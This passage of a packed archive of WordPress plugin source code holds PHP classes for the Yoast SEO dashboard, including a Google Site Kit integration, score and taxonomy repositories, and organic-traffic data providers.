	 * @param Site_Kit_Is_Connected_Call            $site_kit_is_connected_call   The api call to check if the site is
	 *                                                                            connected.
	 * @param Google_Site_Kit_Feature_Conditional   $site_kit_feature_conditional The Site Kit feature conditional.
	 */
	public function __construct(
		Site_Kit_Consent_Repository_Interface $site_kit_consent_repository,
		Configuration_Repository $configuration_repository,
		Site_Kit_Is_Connected_Call $site_kit_is_connected_call,
		Google_Site_Kit_Feature_Conditional $site_kit_feature_conditional
	) {
		$this->site_kit_consent_repository                             = $site_kit_consent_repository;
		$this->permanently_dismissed_site_kit_configuration_repository = $configuration_repository;
		$this->site_kit_is_connected_call                              = $site_kit_is_connected_call;
		$this->site_kit_feature_conditional                            = $site_kit_feature_conditional;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return \is_plugin_active( self::SITE_KIT_FILE );
	}

	/**
	 * If the Google site kit setup has been completed.
	 *
	 * @return bool If the Google site kit setup has been completed.
	 */
	private function is_setup_completed(): bool {
		return $this->site_kit_is_connected_call->is_setup_completed();
	}

	/**
	 * If consent has been granted.
	 *
	 * @return bool If consent has been granted.
	 */
	private function is_connected(): bool {
		return $this->site_kit_consent_repository->is_consent_granted();
	}

	/**
	 * If Google Analytics is connected.
	 *
	 * @return bool If Google Analytics is connected.
	 */
	public function is_ga_connected(): bool {
		if ( $this->ga_module['connected'] !== null ) {
			return $this->ga_module['connected'];
		}

		return $this->site_kit_is_connected_call->is_ga_connected();
	}

	/**
	 * If the Site Kit plugin is installed. This is needed since we cannot check with `is_plugin_active` in rest
	 * requests. `Plugin.php` is only loaded on admin pages.
	 *
	 * @return bool If the Site Kit plugin is installed.
	 */
	private function is_site_kit_installed(): bool {
		return \class_exists( 'Google\Site_Kit\Plugin' );
	}

	/**
	 * If the entire onboarding has been completed.
	 *
	 * @return bool If the entire onboarding has been completed.
	 */
	public function is_onboarded(): bool {
		// @TODO: Consider replacing the `is_setup_completed()` check with a `can_read_data( $module )` check (and possibly rename the method to something more genric eg. is_ready() ).
		return ( $this->is_site_kit_installed() && $this->is_setup_completed() && $this->is_connected() );
	}

	/**
	 * Checks if current user can view dashboard data for a module
	 *
	 * @param array<array|null> $module The module.
	 *
	 * @return bool If the user can read the data.
	 */
	private function can_read_data( array $module ): bool {
		return ( ! \is_null( $module['can_view'] ) ? $module['can_view'] : false );
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		if ( ! $this->site_kit_feature_conditional->is_met() ) {
			return [];
		}
		if ( $this->is_enabled() ) {
			$this->parse_site_kit_data();
		}
		return [
			'installUrl'               => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_install_url() ),
			'activateUrl'              => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_activate_url() ),
			'setupUrl'                 => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_setup_url() ),
			'updateUrl'                => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_update_url() ),
			'dashboardUrl'             => \self_admin_url( 'admin.php?page=googlesitekit-dashboard' ),
			'isAnalyticsConnected'     => $this->is_ga_connected(),
			'isFeatureEnabled'         => true,
			'isSetupWidgetDismissed'   => $this->permanently_dismissed_site_kit_configuration_repository->is_site_kit_configuration_dismissed(),
			'capabilities'             => [
				'installPlugins'        => \current_user_can( 'install_plugins' ),
				'viewSearchConsoleData' => $this->can_read_data( $this->search_console_module ),
				'viewAnalyticsData'     => $this->can_read_data( $this->ga_module ),
			],
			'connectionStepsStatuses'  => [
				'isInstalled'      => \file_exists( \WP_PLUGIN_DIR . '/' . self::SITE_KIT_FILE ),
				'isActive'         => $this->is_enabled(),
				'isSetupCompleted' => $this->can_read_data( $this->search_console_module ) || $this->can_read_data( $this->ga_module ),
				'isConsentGranted' => $this->is_connected(),
			],
			'isVersionSupported'       => \defined( 'GOOGLESITEKIT_VERSION' ) ? \version_compare( \GOOGLESITEKIT_VERSION, '1.148.0', '>=' ) : false,
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			'isRedirectedFromSiteKit'  => isset( $_GET['redirected_from_site_kit'] ),
		];
	}

	/**
	 * Return this object represented by a key value array. This is not used yet.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return $this->to_array();
	}

	/**
	 * Parses the Site Kit configuration data.
	 *
	 * @return void
	 */
	public function parse_site_kit_data(): void {
		$paths     = $this->get_preload_paths();
		$preloaded = $this->get_preloaded_data( $paths );
		if ( empty( $preloaded ) ) {
			return;
		}

		$modules_data        = ! empty( $preloaded[ $paths['modules'] ]['body'] ) ? $preloaded[ $paths['modules'] ]['body'] : [];
		$modules_permissions = ! empty( $preloaded[ $paths['permissions'] ]['body'] ) ? $preloaded[ $paths['permissions'] ]['body'] : [];

		$can_view_dashboard = ( $modules_permissions['googlesitekit_view_authenticated_dashboard'] ?? false );

		foreach ( $modules_data as $module ) {
			$slug = $module['slug'];
			// We have to also check if the module is recoverable, because if we rely on the module being shared, we have to make also sure the module owner is still connected.
			$is_recoverable = ( $module['recoverable'] ?? null );

			if ( $slug === 'analytics-4' ) {
				$can_read_shared_module_data = ( $modules_permissions['googlesitekit_read_shared_module_data::["analytics-4"]'] ?? false );

				$this->ga_module['can_view']  = $can_view_dashboard || ( $can_read_shared_module_data && ! $is_recoverable );
				$this->ga_module['connected'] = ( $module['connected'] ?? false );
			}

			if ( $slug === 'search-console' ) {
				$can_read_shared_module_data = ( $modules_permissions['googlesitekit_read_shared_module_data::["search-console"]'] ?? false );

				$this->search_console_module['can_view'] = $can_view_dashboard || ( $can_read_shared_module_data && ! $is_recoverable );
			}
		}
	}

	/**
	 * Holds the parsed preload paths for preloading some Site Kit API data.
	 *
	 * @return string[]
	 */
	public function get_preload_paths(): array {

		$rest_root = ( \class_exists( REST_Routes::class ) ) ? REST_Routes::REST_ROOT : '';

		return [
			'permissions'    => '/' . $rest_root . '/core/user/data/permissions',
			'modules'        => '/' . $rest_root . '/core/modules/data/list',
		];
	}

	/**
	 * Runs the given paths through the `rest_preload_api_request` method.
	 *
	 * @param string[] $paths The paths to add to `rest_preload_api_request`.
	 *
	 * @return array<array|null> The array with all the now filled in preloaded data.
	 */
	public function get_preloaded_data( array $paths ): array {
		$preload_paths = \apply_filters( 'googlesitekit_apifetch_preload_paths', [] );
		$actual_paths  = \array_intersect( $paths, $preload_paths );

		return \array_reduce(
			\array_unique( $actual_paths ),
			'rest_preload_api_request',
			[]
		);
	}

	/**
	 * Creates a valid activation URL for the Site Kit plugin.
	 *
	 * @return string
	 */
	public function get_activate_url(): string {
		return \html_entity_decode(
			\wp_nonce_url(
				\self_admin_url( 'plugins.php?action=activate&plugin=' . self::SITE_KIT_FILE ),
				'activate-plugin_' . self::SITE_KIT_FILE
			)
		);
	}

	/**
	 *  Creates a valid install URL for the Site Kit plugin.
	 *
	 * @return string
	 */
	public function get_install_url(): string {
		return \html_entity_decode(
			\wp_nonce_url(
				\self_admin_url( 'update.php?action=install-plugin&plugin=google-site-kit' ),
				'install-plugin_google-site-kit'
			)
		);
	}

	/**
	 *  Creates a valid update URL for the Site Kit plugin.
	 *
	 * @return string
	 */
	public function get_update_url(): string {
		return \html_entity_decode(
			\wp_nonce_url(
				\self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . self::SITE_KIT_FILE ),
				'upgrade-plugin_' . self::SITE_KIT_FILE
			)
		);
	}

	/**
	 *  Creates a valid setup URL for the Site Kit plugin.
	 *
	 * @return string
	 */
	public function get_setup_url(): string {
		return \self_admin_url( 'admin.php?page=googlesitekit-splash' );
	}
}
dashboard/application/score-results/seo-score-results/seo-score-results-repository.php000066600000002211152204306270025533 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Application\Score_Results\SEO_Score_Results;

use Yoast\WP\SEO\Dashboard\Application\Score_Results\Abstract_Score_Results_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results\Cached_SEO_Score_Results_Collector;

/**
 * The repository to get SEO score results.
 */
class SEO_Score_Results_Repository extends Abstract_Score_Results_Repository {

	/**
	 * The constructor.
	 *
	 * @param Cached_SEO_Score_Results_Collector $seo_score_results_collector The cached SEO score results collector.
	 * @param SEO_Score_Groups_Interface         ...$seo_score_groups         All SEO score groups.
	 */
	public function __construct(
		Cached_SEO_Score_Results_Collector $seo_score_results_collector,
		SEO_Score_Groups_Interface ...$seo_score_groups
	) {
		$this->score_results_collector = $seo_score_results_collector;
		$this->score_groups            = $seo_score_groups;
	}
}
application/score-results/readability-score-results/readability-score-results-repository.php000066600000002441152204306270030667 0ustar00dashboard<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Application\Score_Results\Readability_Score_Results;

use Yoast\WP\SEO\Dashboard\Application\Score_Results\Abstract_Score_Results_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Readability_Score_Groups_Interface;
use Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results\Cached_Readability_Score_Results_Collector;

/**
 * The repository to get readability score results.
 */
class Readability_Score_Results_Repository extends Abstract_Score_Results_Repository {

	/**
	 * The constructor.
	 *
	 * @param Cached_Readability_Score_Results_Collector $readability_score_results_collector The cached readability score results collector.
	 * @param Readability_Score_Groups_Interface         ...$readability_score_groups         All readability score groups.
	 */
	public function __construct(
		Cached_Readability_Score_Results_Collector $readability_score_results_collector,
		Readability_Score_Groups_Interface ...$readability_score_groups
	) {
		$this->score_results_collector = $readability_score_results_collector;
		$this->score_groups            = $readability_score_groups;
	}
}
dashboard/application/filter-pairs/filter-pairs-repository.php000066600000003053152204306270020734 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Filter_Pairs;

use Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs\Filter_Pairs_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector;

/**
 * The repository to get hardcoded filter pairs.
 */
class Filter_Pairs_Repository {

	/**
	 * The taxonomies collector.
	 *
	 * @var Taxonomies_Collector
	 */
	private $taxonomies_collector;

	/**
	 * All filter pairs.
	 *
	 * @var Filter_Pairs_Interface[]
	 */
	private $filter_pairs;

	/**
	 * The constructor.
	 *
	 * @param Taxonomies_Collector   $taxonomies_collector The taxonomies collector.
	 * @param Filter_Pairs_Interface ...$filter_pairs      All filter pairs.
	 */
	public function __construct(
		Taxonomies_Collector $taxonomies_collector,
		Filter_Pairs_Interface ...$filter_pairs
	) {
		$this->taxonomies_collector = $taxonomies_collector;
		$this->filter_pairs         = $filter_pairs;
	}

	/**
	 * Returns a taxonomy based on a content type, by looking into hardcoded filter pairs.
	 *
	 * @param string $content_type The content type.
	 *
	 * @return Taxonomy|null The taxonomy filter.
	 */
	public function get_taxonomy( string $content_type ): ?Taxonomy {
		foreach ( $this->filter_pairs as $filter_pair ) {
			if ( $filter_pair->get_filtered_content_type() === $content_type ) {
				return $this->taxonomies_collector->get_taxonomy( $filter_pair->get_filtering_taxonomy(), $content_type );
			}
		}

		return null;
	}
}
dashboard/application/score-groups/seo-score-groups/seo-score-groups-repository.php000066600000003050152204306270025007 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\No_SEO_Score_Group;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;

/**
 * The repository to get SEO score groups.
 */
class SEO_Score_Groups_Repository {

	/**
	 * All SEO score groups.
	 *
	 * @var SEO_Score_Groups_Interface[]
	 */
	private $seo_score_groups;

	/**
	 * The constructor.
	 *
	 * @param SEO_Score_Groups_Interface ...$seo_score_groups All SEO score groups.
	 */
	public function __construct( SEO_Score_Groups_Interface ...$seo_score_groups ) {
		$this->seo_score_groups = $seo_score_groups;
	}

	/**
	 * Returns the SEO score group that a SEO score belongs to.
	 *
	 * @param int $seo_score The SEO score to be assigned into a group.
	 *
	 * @return SEO_Score_Groups_Interface The SEO score group that the SEO score belongs to.
	 */
	public function get_seo_score_group( ?int $seo_score ): SEO_Score_Groups_Interface {
		if ( $seo_score === null || $seo_score === 0 ) {
			return new No_SEO_Score_Group();
		}

		foreach ( $this->seo_score_groups as $seo_score_group ) {
			if ( $seo_score_group->get_max_score() === null ) {
				continue;
			}

			if ( $seo_score >= $seo_score_group->get_min_score() && $seo_score <= $seo_score_group->get_max_score() ) {
				return $seo_score_group;
			}
		}

		return new No_SEO_Score_Group();
	}
}
dashboard/application/endpoints/endpoints-repository.php000066600000001725152204306270017744 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Application\Endpoints;

use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_List;

/**
 * Repository for endpoints.
 */
class Endpoints_Repository {

	/**
	 * Holds the endpoints.
	 *
	 * @var array<Endpoint_Interface>
	 */
	private $endpoints;

	/**
	 * Constructs the repository.
	 *
	 * @param Endpoint_Interface ...$endpoints The endpoints to add to the repository.
	 */
	public function __construct( Endpoint_Interface ...$endpoints ) {
		$this->endpoints = $endpoints;
	}

	/**
	 * Creates a list with all endpoints.
	 *
	 * @return Endpoint_List The list with all endpoints.
	 */
	public function get_all_endpoints(): Endpoint_List {
		$list = new Endpoint_List();
		foreach ( $this->endpoints as $endpoint ) {
			$list->add_endpoint( $endpoint );
		}

		return $list;
	}
}
dashboard/application/taxonomies/taxonomies-repository.php000066600000003727152204306270020316 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Taxonomies;

use Yoast\WP\SEO\Dashboard\Application\Filter_Pairs\Filter_Pairs_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector;

/**
 * The repository to get taxonomies.
 */
class Taxonomies_Repository {

	/**
	 * The taxonomies collector.
	 *
	 * @var Taxonomies_Collector
	 */
	private $taxonomies_collector;

	/**
	 * The filter pairs repository.
	 *
	 * @var Filter_Pairs_Repository
	 */
	private $filter_pairs_repository;

	/**
	 * The constructor.
	 *
	 * @param Taxonomies_Collector    $taxonomies_collector    The taxonomies collector.
	 * @param Filter_Pairs_Repository $filter_pairs_repository The filter pairs repository.
	 */
	public function __construct(
		Taxonomies_Collector $taxonomies_collector,
		Filter_Pairs_Repository $filter_pairs_repository
	) {
		$this->taxonomies_collector    = $taxonomies_collector;
		$this->filter_pairs_repository = $filter_pairs_repository;
	}

	/**
	 * Returns the object of the filtering taxonomy of a content type.
	 *
	 * @param string $content_type The content type that the taxonomy filters.
	 *
	 * @return Taxonomy|null The filtering taxonomy of the content type.
	 */
	public function get_content_type_taxonomy( string $content_type ) {
		// First we check if there's a filter that overrides the filtering taxonomy for this content type.
		$taxonomy = $this->taxonomies_collector->get_custom_filtering_taxonomy( $content_type );
		if ( $taxonomy ) {
			return $taxonomy;
		}

		// Then we check if there is a filter explicitly made for this content type.
		$taxonomy = $this->filter_pairs_repository->get_taxonomy( $content_type );
		if ( $taxonomy ) {
			return $taxonomy;
		}

		// If everything else returned empty, we can always try the fallback taxonomy.
		return $this->taxonomies_collector->get_fallback_taxonomy( $content_type );
	}
}
dashboard/application/configuration/dashboard-configuration.php000066600000012772152204306270021170 0ustar00<?php


// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Application\Configuration;

use Yoast\WP\SEO\Dashboard\Application\Content_Types\Content_Types_Repository;
use Yoast\WP\SEO\Dashboard\Application\Endpoints\Endpoints_Repository;
use Yoast\WP\SEO\Dashboard\Application\Tracking\Setup_Steps_Tracking;
use Yoast\WP\SEO\Dashboard\Infrastructure\Browser_Cache\Browser_Cache_Configuration;
use Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit;
use Yoast\WP\SEO\Dashboard\Infrastructure\Nonces\Nonce_Repository;
use Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository;
use Yoast\WP\SEO\Editors\Framework\Keyphrase_Analysis;
use Yoast\WP\SEO\Editors\Framework\Readability_Analysis;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;

/**
 * Responsible for the dashboard configuration.
 */
class Dashboard_Configuration {

	/**
	 * The content types repository.
	 *
	 * @var Content_Types_Repository
	 */
	private $content_types_repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
	 * The repository.
	 *
	 * @var Enabled_Analysis_Features_Repository
	 */
	private $enabled_analysis_features_repository;

	/**
	 * The endpoints repository.
	 *
	 * @var Endpoints_Repository
	 */
	private $endpoints_repository;

	/**
	 * The nonce repository.
	 *
	 * @var Nonce_Repository
	 */
	private $nonce_repository;

	/**
	 * The Site Kit integration data.
	 *
	 * @var Site_Kit
	 */
	private $site_kit_integration_data;

	/**
	 * The setup steps tracking data.
	 *
	 * @var Setup_Steps_Tracking
	 */
	private $setup_steps_tracking;

	/**
	 * The browser cache configuration.
	 *
	 * @var Browser_Cache_Configuration
	 */
	private $browser_cache_configuration;

	/**
	 * The constructor.
	 *
	 * @param Content_Types_Repository             $content_types_repository             The content types repository.
	 * @param Indexable_Helper                     $indexable_helper                     The indexable helper
	 *                                                                                   repository.
	 * @param User_Helper                          $user_helper                          The user helper.
	 * @param Enabled_Analysis_Features_Repository $enabled_analysis_features_repository The analysis feature.
	 *                                                                                        repository.
	 * @param Endpoints_Repository                 $endpoints_repository                 The endpoints repository.
	 * @param Nonce_Repository                     $nonce_repository                     The nonce repository.
	 * @param Site_Kit                             $site_kit_integration_data            The Site Kit integration data.
	 * @param Setup_Steps_Tracking                 $setup_steps_tracking                 The setup steps tracking data.
	 * @param Browser_Cache_Configuration          $browser_cache_configuration          The browser cache configuration.
	 */
	public function __construct(
		Content_Types_Repository $content_types_repository,
		Indexable_Helper $indexable_helper,
		User_Helper $user_helper,
		Enabled_Analysis_Features_Repository $enabled_analysis_features_repository,
		Endpoints_Repository $endpoints_repository,
		Nonce_Repository $nonce_repository,
		Site_Kit $site_kit_integration_data,
		Setup_Steps_Tracking $setup_steps_tracking,
		Browser_Cache_Configuration $browser_cache_configuration
	) {
		$this->content_types_repository             = $content_types_repository;
		$this->indexable_helper                     = $indexable_helper;
		$this->user_helper                          = $user_helper;
		$this->enabled_analysis_features_repository = $enabled_analysis_features_repository;
		$this->endpoints_repository                 = $endpoints_repository;
		$this->nonce_repository                     = $nonce_repository;
		$this->site_kit_integration_data            = $site_kit_integration_data;
		$this->setup_steps_tracking                 = $setup_steps_tracking;
		$this->browser_cache_configuration          = $browser_cache_configuration;
	}

	/**
	 * Returns a configuration
	 *
	 * @return array<string, array<string>|array<string, string|array<string, array<string, int>>>>
	 */
	public function get_configuration(): array {
		$configuration = [
			'contentTypes'            => $this->content_types_repository->get_content_types(),
			'indexablesEnabled'       => $this->indexable_helper->should_index_indexables(),
			'displayName'             => $this->user_helper->get_current_user_display_name(),
			'enabledAnalysisFeatures' => $this->enabled_analysis_features_repository->get_features_by_keys(
				[
					Readability_Analysis::NAME,
					Keyphrase_Analysis::NAME,
				]
			)->to_array(),
			'endpoints'               => $this->endpoints_repository->get_all_endpoints()->to_array(),
			'nonce'                   => $this->nonce_repository->get_rest_nonce(),
			'setupStepsTracking'      => $this->setup_steps_tracking->to_array(),
		];

		$site_kit_integration_data = $this->site_kit_integration_data->to_array();
		if ( ! empty( $site_kit_integration_data ) ) {
			$configuration ['siteKitConfiguration'] = $site_kit_integration_data;
		}

		$browser_cache_configuration = $this->browser_cache_configuration->get_configuration();
		if ( ! empty( $browser_cache_configuration ) ) {
			$configuration ['browserCache'] = $browser_cache_configuration;
		}

		return $configuration;
	}
}
dashboard/application/traffic/organic-sessions-daily-repository.php000066600000004122152204306270021734 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Application\Traffic;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Dashboard_Repository_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Container;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Parameters;
use Yoast\WP\SEO\Dashboard\Domain\Time_Based_Seo_Metrics\Data_Source_Not_Available_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Analytics_4\Site_Kit_Analytics_4_Adapter;
use Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit;

/**
 * The data provider for daily organic sessions data.
 */
class Organic_Sessions_Daily_Repository implements Dashboard_Repository_Interface {

	/**
	 * The adapter.
	 *
	 * @var Site_Kit_Analytics_4_Adapter
	 */
	private $site_kit_analytics_4_adapter;

	/**
	 * The site kit configuration object.
	 *
	 * @var Site_Kit
	 */
	private $site_kit_configuration;

	/**
	 * The constructor.
	 *
	 * @param Site_Kit_Analytics_4_Adapter $site_kit_analytics_4_adapter The adapter.
	 * @param Site_Kit                     $site_kit_configuration       The site kit configuration object.
	 */
	public function __construct(
		Site_Kit_Analytics_4_Adapter $site_kit_analytics_4_adapter,
		Site_Kit $site_kit_configuration
	) {
		$this->site_kit_analytics_4_adapter = $site_kit_analytics_4_adapter;
		$this->site_kit_configuration       = $site_kit_configuration;
	}

	/**
	 * Gets daily organic sessions' data.
	 *
	 * @param Parameters $parameters The parameter to use for getting the daily organic sessions' data.
	 *
	 * @return Data_Container
	 *
	 * @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready.
	 */
	public function get_data( Parameters $parameters ): Data_Container {
		if ( ! $this->site_kit_configuration->is_onboarded() || ! $this->site_kit_configuration->is_ga_connected() ) {
			throw new Data_Source_Not_Available_Exception( 'Daily organic sessions repository' );
		}

		return $this->site_kit_analytics_4_adapter->get_daily_data( $parameters );
	}
}
dashboard/application/traffic/organic-sessions-compare-repository.php000066600000004142152204306270022262 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Application\Traffic;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Dashboard_Repository_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Container;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Parameters;
use Yoast\WP\SEO\Dashboard\Domain\Time_Based_Seo_Metrics\Data_Source_Not_Available_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Analytics_4\Site_Kit_Analytics_4_Adapter;
use Yoast\WP\SEO\Dashboard\Infrastructure\Integrations\Site_Kit;

/**
 * The data provider for comparison organic sessions data.
 */
class Organic_Sessions_Compare_Repository implements Dashboard_Repository_Interface {

	/**
	 * The adapter.
	 *
	 * @var Site_Kit_Analytics_4_Adapter
	 */
	private $site_kit_analytics_4_adapter;

	/**
	 * The site kit configuration object.
	 *
	 * @var Site_Kit
	 */
	private $site_kit_configuration;

	/**
	 * The constructor.
	 *
	 * @param Site_Kit_Analytics_4_Adapter $site_kit_analytics_4_adapter The adapter.
	 * @param Site_Kit                     $site_kit_configuration       The site kit configuration object.
	 */
	public function __construct(
		Site_Kit_Analytics_4_Adapter $site_kit_analytics_4_adapter,
		Site_Kit $site_kit_configuration
	) {
		$this->site_kit_analytics_4_adapter = $site_kit_analytics_4_adapter;
		$this->site_kit_configuration       = $site_kit_configuration;
	}

	/**
	 * Gets comparison organic sessions' data.
	 *
	 * @param Parameters $parameters The parameter to use for getting the comparison organic sessions' data.
	 *
	 * @return Data_Container
	 *
	 * @throws Data_Source_Not_Available_Exception When getting the comparison organic sessions' data fails.
	 */
	public function get_data( Parameters $parameters ): Data_Container {
		if ( ! $this->site_kit_configuration->is_onboarded() || ! $this->site_kit_configuration->is_ga_connected() ) {
			throw new Data_Source_Not_Available_Exception( 'Comparison organic sessions repository' );
		}

		return $this->site_kit_analytics_4_adapter->get_comparison_data( $parameters );
	}
}
dashboard/domain/content-types/content-type.php000066600000003364152204306270015733 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Content_Types;

use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;

/**
 * This class describes a Content Type.
 */
class Content_Type {

	/**
	 * The name of the content type.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The label of the content type.
	 *
	 * @var string
	 */
	private $label;

	/**
	 * The taxonomy that filters the content type.
	 *
	 * @var Taxonomy
	 */
	private $taxonomy;

	/**
	 * The constructor.
	 *
	 * @param string        $name     The name of the content type.
	 * @param string        $label    The label of the content type.
	 * @param Taxonomy|null $taxonomy The taxonomy that filters the content type.
	 */
	public function __construct( string $name, string $label, ?Taxonomy $taxonomy = null ) {
		$this->name     = $name;
		$this->label    = $label;
		$this->taxonomy = $taxonomy;
	}

	/**
	 * Gets name of the content type.
	 *
	 * @return string The name of the content type.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Gets label of the content type.
	 *
	 * @return string The label of the content type.
	 */
	public function get_label(): string {
		return $this->label;
	}

	/**
	 * Gets the taxonomy that filters the content type.
	 *
	 * @return Taxonomy|null The taxonomy that filters the content type.
	 */
	public function get_taxonomy(): ?Taxonomy {
		return $this->taxonomy;
	}

	/**
	 * Sets the taxonomy that filters the content type.
	 *
	 * @param Taxonomy|null $taxonomy The taxonomy that filters the content type.
	 *
	 * @return void
	 */
	public function set_taxonomy( ?Taxonomy $taxonomy ): void {
		$this->taxonomy = $taxonomy;
	}
}
dashboard/domain/content-types/content-types-list.php000066600000002570152204306270017065 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Content_Types;

/**
 * This class describes a list of content types.
 */
class Content_Types_List {

	/**
	 * The content types.
	 *
	 * @var array<Content_Type>
	 */
	private $content_types = [];

	/**
	 * Adds a content type to the list.
	 *
	 * @param Content_Type $content_type The content type to add.
	 *
	 * @return void
	 */
	public function add( Content_Type $content_type ): void {
		$this->content_types[ $content_type->get_name() ] = $content_type;
	}

	/**
	 * Returns the content types in the list.
	 *
	 * @return array<Content_Type> The content types in the list.
	 */
	public function get(): array {
		return $this->content_types;
	}

	/**
	 * Parses the content type list to the expected key value representation.
	 *
	 * @return array<array<string, array<string, array<string, array<string, string|null>>>>> The content type list presented as the expected key value representation.
	 */
	public function to_array(): array {
		$array = [];
		foreach ( $this->content_types as $content_type ) {
			$array[] = [
				'name'     => $content_type->get_name(),
				'label'    => $content_type->get_label(),
				'taxonomy' => ( $content_type->get_taxonomy() ) ? $content_type->get_taxonomy()->to_array() : null,
			];
		}

		return $array;
	}
}
dashboard/domain/traffic/traffic-data.php000066600000002331152204306270014422 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Traffic;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Interface;

/**
 * Domain object that represents a single Traffic record.
 */
class Traffic_Data implements Data_Interface {

	/**
	 * The sessions, if any.
	 *
	 * @var int|null
	 */
	private $sessions;

	/**
	 * The total users, if any.
	 *
	 * @var int|null
	 */
	private $total_users;

	/**
	 * The array representation of this domain object.
	 *
	 * @return array<string, int>
	 */
	public function to_array(): array {
		$result = [];

		if ( $this->sessions !== null ) {
			$result['sessions'] = $this->sessions;
		}

		if ( $this->total_users !== null ) {
			$result['total_users'] = $this->total_users;
		}

		return $result;
	}

	/**
	 * Sets the sessions.
	 *
	 * @param int $sessions The sessions.
	 *
	 * @return void
	 */
	public function set_sessions( int $sessions ): void {
		$this->sessions = $sessions;
	}

	/**
	 * Sets the total users.
	 *
	 * @param int $total_users The total users.
	 *
	 * @return void
	 */
	public function set_total_users( int $total_users ): void {
		$this->total_users = $total_users;
	}
}
dashboard/domain/search-rankings/comparison-search-ranking-data.php000066600000005153152204306270021516 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Search_Rankings;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Interface;

/**
 * Domain object that represents a Comparison Search Ranking record.
